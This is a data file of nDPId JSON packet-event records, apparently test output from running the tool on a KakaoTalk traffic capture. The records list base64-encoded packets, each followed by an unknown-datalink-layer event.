+00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":750,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":107886,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABLOm2AbE9Tizv4mguGVRkQIE1G0Qw3VJDcFnNFKNRn2IXIMZDKuoCiK2cAyJdomZAy4AW13c7rDsRY76BC8pN1uTeC9HhQ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":750,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00517{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":751,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":108802,"pkt_caplen":159,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":159,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI8AAEAAPxHbEwoYUrwByQGuLDhaBAB7LDaAbE9bizwWmguGVRmLqHIpSNQK0nFl2\/\/ZxqpRvol7jPNu2BZ5AOfO1IwHwQLXtstfoY4NZghLr9yt5Ho3Kjg1AHBUJHdy5Yj8JM3Dr8U6OgGBXAm64Oouns843qBoJc9fui4VHlfdscWCV0fO3dulPJ2X"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":751,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":752,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":115393,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/JKeAbDHYfqtWg1Sapdoe3v0zl9QDlg8t0fw86CSWvtiqbFP1+g+gKNKuPaEf+mgBrfPeu2lKS3tH"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":752,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00492{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":753,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":137427,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHsAAEAAQBHaJwoYUrwByQGuKBxaBgBniD6AbDHhfqt4Q1SapdqBpT1vMV\/cjMVNMC1rylBBQCdys9u9zWDrV3hV+FrsvVXkXWaHNh2dMSY0H+p0Sbry3H5tesqp8qOcCW7G4qaC9c+eVkkxgBXDFwfWrwGra9mnzw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":753,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":754,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":143378,"pkt_caplen":80,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":80,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAECw5UAALwZAgG5MjzIKGFK8H5CAyJJ45pH3EeBgsBAAMA9FAAABAQgKRNutPAALRaoBAQUK9xHftvcR4GA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":754,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":755,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":147345,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/HjSAbDHZfqtaQ1Sapdqw\/M\/j+9TkHNGDdVZHksoZvr9gWqIa16cFKxnNdlFrBCC6+haZY5A8Iha8"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":755,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":756,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":185797,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALMAAEAAQBHZ7woYUrwByQGuKBxaBgCfgrGAbDHifqt8A1Sapdpeju7peaembEhmWJmVdZ+c6voWzoU1Pou0\/mNGKidQAGug9fgI5IxCeWp+95EVinomY5C4pfs741yv1q4mc6O3ZPJprwyaAqQMp3zueMlBcP2KTpYQVLQYcAM4uPh\/rcNQ6kYw2Bxat7XTOTMBNC3fQE+\/DRIYdAz+8lWpdTvLYcTh0iUiOB4nluzD"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":756,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":757,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":191504,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHBH9\/AHJAa4KGFK8WgUsOQBqxRSByAAMVJql2nhUecfSj38IyetU7qmBuDDPjWXjWG6rSfmFeg4CNNxlBxif7M9KMVtpfq2RjbJmtK+rq2SSv32uc+V\/lvbg2LY9MFOYdQ6IXJKzlD6AAAAE+zNyuhY7D2DdMg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":757,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":758,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":192053,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/m\/2AbDHafqteA1SapdpZ4qTihMSNLGab2vp4Rdr+uUa6dSYZ3cnGqpc2lEZ7vbWV\/yHmTOUJl1xR"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":758,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00606{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":759,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":210822,"pkt_caplen":224,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":224,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANAAAEAAPxHa0goYUrwByQGuLDhaBAC8D+6AbE9cizwaWguGVRkezALGVSHDw0qdZmYg\/Y1BwJQve1UBpr9A0XQxkwlqcg2XfsIqYLAUyLNiLD5ZWfVugvTKLvg0bHGB6b\/C4ZF50uTrx9+QAiz7DV77q2rrqhb5Eih0xBEHIWhmxT80fhHGNZNYzlMV\/Af3a8cTmZ8Y+nRCVGergVFkNR4K1H9ePNoM2+xnVoY5bTEmiQWX0fcoVFGP7lqKe2rIdH+58Hv4rLofCvPFvms="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":759,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00591{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":760,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":210974,"pkt_caplen":213,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":213,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMUAAEAAPxHa3QoYUrwByQGuLDhaBACxdrCAbE9dizweGguGVRkQRzLr\/b9p0OJyHbJuPg98OiO3z+nYp7J7SXvIWI5r01EjcxUqes9mCim1e5JvA0z5B1\/GF9uF82D2vh4Z8qyuhHe4KUai7OukpQmTkqrVC1ClVfzn0Ed+tY\/cL7G30HNHNy+803rvF4+yV\/xG8ESveqWBdlsMdak5zx+HTt7fzzrS+oMsLGPkqOmll6S8RN2N1YSIZZFTSsFZUXgj"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":760,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":761,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":211127,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIJsqAbE9Uizv8WguGVRkUJlgvJKK\/bL9As1dvXRMuziQW45LwEDcHPZcxqg1OONeDJFQYrxcTG1\/gKuoZILQe8Ijh"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":761,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":762,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":211402,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAGxH+\/AHJAa4KGFK8WgcoHQBqUG6ByAAMC4ZVGQ21DhFtJ5pVSpHA29mSXWgupbBBO2VyAq\/04b9a0U3MpwQFQvWqFidhxeuTBSyks5kk9ZQJHxCKEShx1YUsKPxryHVVYZGtotYaqIGAAAAEQW6VLf5HEs5d\/Q=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":762,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":763,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":211524,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/YESAbDHbfqthw1Sapdp6GAWDp6nc1sE4DIuVySPHZp5C4Mfq6A0BjG04kbfD\/WAiFWaXVwXgdVb6"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":763,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":764,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":228919,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHBH+IgHJAa4KGFK8WgYoHABErcuAbE9VizwAGguGVRko009QMDzqMhKvIJYcu78ovTgSIvA2Ur+0XcO2swYvhLFXc2SuaKgb6OQooyfv8BE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":764,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":765,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":287787,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFQAAEAAHBH+JgHJAa4KGFK8WgYoHABAI3KAbE9WizwD2guGVRljjHsj23r8F2F7vR40vWm7WXtWpJPkA6QSPah\/n39\/uz7KUjsOhQdVLgnQNw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":765,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00547{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":766,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":294532,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKQAAEAAQBHZ\/goYUrwByQGuKBxaBgCQT4mAbDHjfqt\/w1Sapdq1aX983sOjuENuDN6jzTk4ZdLLI5BIWwNNUTIoaylywOivXrdoDqIyxW4DUzcKuFz7nOxqUwXtWf7YQuYXUC1\/FREGodPi4LJPjR3hc1UeDVmYjOS6WUpNnbUwRwIMZWUFaBNAq\/gd13f6cbMKrYrIGY0V58Q+MbKjkPBG"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":766,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00539{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":767,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":302008,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ4AAEAAQBHaBAoYUrwByQGuKBxaBgCKeb2AbDHkfquDg1SapdqHJHQRLm6b537B2S8IcauU6jTStWwNLMrqiUsH\/ur5xbcQdEqhPtpNBi5HRTuAa4CoANjCX6Dde6j7ujVeLJVwSi\/bl0+tTZJL\/4g0f6Qxq4TCErmCyl8C24txXM\/YZVFbQJuDfZoKz3lvuR5d1IaXIDwiJ9G5"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":767,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":768,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":307440,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/xXmAbDHcfqtlg1SapdqMKmzUfjsGXE4qjcQQOq4o+sk1MiyHrX4hgRtuSu6hSLP4v4KkB8tS3Ju4"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":768,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00592{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":769,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":313727,"pkt_caplen":215,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":215,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMcAAEAAPxHa2woYUrwByQGuLDhaBACzWK6AbE9eizwh2guGVRmcS41gKwi6MI9\/stUJZaS9uzPhgjkQIFmBhokxDFNb0Ybat0gtLb0IGXrVsngLSgzmdvkALN6b+DxPF784tB29I86ImelT5bBDH+Dk19tEHwmcZay0SClpGZBreZFVNLNV8yo34kT1ZaRNBlvKe5kvnLpc8dCWfWm3UwX1NKyTbdEyDcbyi+JWhELtgNi56GVwYVcCmb7Gy+YX3sJ0034="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":769,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":770,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":348944,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/7AeAbDHdfqtpQ1SapdqX3XVqSIV6SLoWg2PD0+uirFS0kM+cHX3KWnM\/gLNPCN0qGRXtvHByJ2gE"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":770,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00538{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":771,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":385596,"pkt_caplen":172,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":172,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJwAAEAAQBHaBgoYUrwByQGuKBxaBgCIhjqAbDHlfquHQ1SapdrhfYA\/7VOgelKHEmARqd9mxP\/O9e4npcntO6L92b21OO4uDPV3\/TGzaGYumccOeRe8DDsYENYZ+yLcOMDYHq10sP+7IZxAh9n5sMhGmcQX5VPDdQjf2fJiVnn+j9GEmVMxtZQ0Hn2QNjhJFIR3Sd2GB45bNQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":771,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":772,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":415564,"pkt_caplen":208,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":208,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMAAAEAAPxHa4goYUrwByQGuLDhaBACsjumAbE9fizwlmguGVRlSNc2\/wSmvzjjvGv4P4NSXMqYJ5jdvpL0XARjugckSCN4iMm1kO3uiC2+IjAUlk50fK+uFGZr7fXRiO9OIbKzErlg7iu1DU8X1rvwForNmF1pG8k4w3J4OOSk5yZhvMCPX9OA2XCRVXpI\/nxZh1M7Tlf4tgoAdnOLRiULDT5nEvK8MT8s84MX2yvpRAYYd\/c50VGnQGGD2Ww=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":772,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00576{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":773,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":415808,"pkt_caplen":203,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":203,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALsAAEAAPxHa5woYUrwByQGuLDhaBACn63KAbE9gizwpWguGVRkM17YN1IVsm5vE4mDzbPOtR1RSEdsKXFwnI4GJapVGD5RwLC9aLmhOvmzC3pYX4vHStmpLMsFgb2vKx8EZzU5n4s4xUTc5+PIEDXXR0sgdpJA7tyOtmW3ohzQ4q2+M8V1d9SFcGWLdr4c953r0adUiJR\/ZjaQcyfghFLNP5gOW8T50cMnamJmZVyvT1RbB2stl04Y="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":773,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00598{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":774,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":442206,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMkAAEAAQBHZ2QoYUrwByQGuKBxaBgC12iiAbDHmfquLA1Sapdo+JsrzLm\/qhVVudWRMgeOzzMAA3LZH8QuYnq8RF0u7RLlvgrkYo\/SQw3HgqMIYVyZ7OXO8yOOYosgw60a2lKXbkWW7D8Hl3UGNlo32keZAwgWzjuiUp+EkGLrtMay5MK3ll8eaULOBHeW6dT3E7DaKYNmedQLRe1PWDsaUBMj\/87ef+Y+50zTpFecns3bdZRgkotdjziKl+wbD5QBWLE2vAw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":774,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00610{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":775,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":486548,"pkt_caplen":227,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":227,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANMAAEAAQBHZzwoYUrwByQGuKBxaBgC\/lLqAbDHnfquOw1SapdrTboxIov5hXCX0+vnRRPmVQCssQ94RCafFq7wSBL8d6s9iOCuM+r8WDehqJWJ17vvPDij2q9RGBbi1b4AN0mBQ5offzCZPr+G7NND+xZO6A0XY\/12zS4RBwifhL2GPGWSqtfzxsZdpdQZM3CyXMTqMjb2dd7BYyQVbHffh4eAyjBKqkS98\/qxK8hC2X+OUoYdVYsAubjd9G3sACBLqcUPqBxr0P5IBP+JuxTg="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":775,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":776,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":516547,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALMAAEAAPxHa7woYUrwByQGuLDhaBACfVfeAbE9hizwtGguGVRkHJ\/lZnHffblXOiXNWVzqduUt2cY4UDDB8g71KwEXpMzC\/7Yo81J+vnrOvPK4NtTn7SnPKgWqWIboAOMlmQbd\/I39X0eJY5VpWYatLb2yeV\/kHWTR9uTjLCuYKrQq1e7QBGMRO1dDjikWa7vAL0qUvzFBkV8KBpfqux9r0r55qK3shX+pbHF4nxtYJ"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":776,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":777,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":516699,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMIAAEAAPxHa4AoYUrwByQGuLDhaBACuWUGAbE9iizww2guGVRkW1ldKIq1v\/Ym2vbq9ilkm+LfC74O3H1TpffGA+9FxOcxiL8QHUhHP+FPNWwH1kKk2XBYaQI7iAMcgiyK7IMcifQ8ghPSKHgpWenx9Tuv\/ceEwC4YU9\/GZ2H9W2d82OkLt7vwSD1v2VNSnkI3KtRtmYPJaupYf8Ift\/AUiFOPGw79oW1basxIqQy9vJVbzUvMRbmXx6spcFJ+q"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":777,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00615{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":778,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":565131,"pkt_caplen":229,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":229,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANUAAEAAQBHZzQoYUrwByQGuKBxaBgDBUyCAbDHofquSg1SapdptKqtzjstNOE4JUVvbMmg13zp9c2+nL0U9LCgaUTXeMuxB9VqCMii8UKIOczTsOv1XSkRM\/j28PC5chiQGthD3TAiN538I1zpQwWZhLMLxGV7aEAvIgZ\/3avslhOs\/zVXhWiR73RKcsxh7FKzigoG3JRQkObrqf7RfvtiDoTx3J9jISnGPvDsLBamTxBZs9KA6KfabMhWlPeY+jjZCDYexxwlGIfOP5O2\/h1czRQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":778,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":779,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":612830,"pkt_caplen":208,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":208,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMAAAEAAPxHa4goYUrwByQGuLDhaBACsgiuAbE9jizw0mguGVRm\/DiFneEwoNDf5YivW6EHanHwdcu\/zzM9XgxNAx4R+Xu8ZxUIg6\/01VFy00hOAt2d6LYIFG2h6AAxjIorZtFylpsh3d1uSFITHmIZg\/yU4MZlr9oM+s0QkJNFm2rHC9Tc7N9Ag4bzCqV2l13QrQF+p9QdcARmewPfbUdFGX4AMDpKh77IeRV6STTiaEjthF3WvY64wT3S5+w=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":779,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":780,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":629370,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHBH+GgHJAa4KGFK8WgYoHABMq3CAbE9XizwHmguGVRmvOqoWcfriu5UOE49BL6lpXQxBLhvwSc4D5TpmsfbdPYMkRTSvgz1G5dogCa1UNRMT3ooOBpRZmA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":780,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 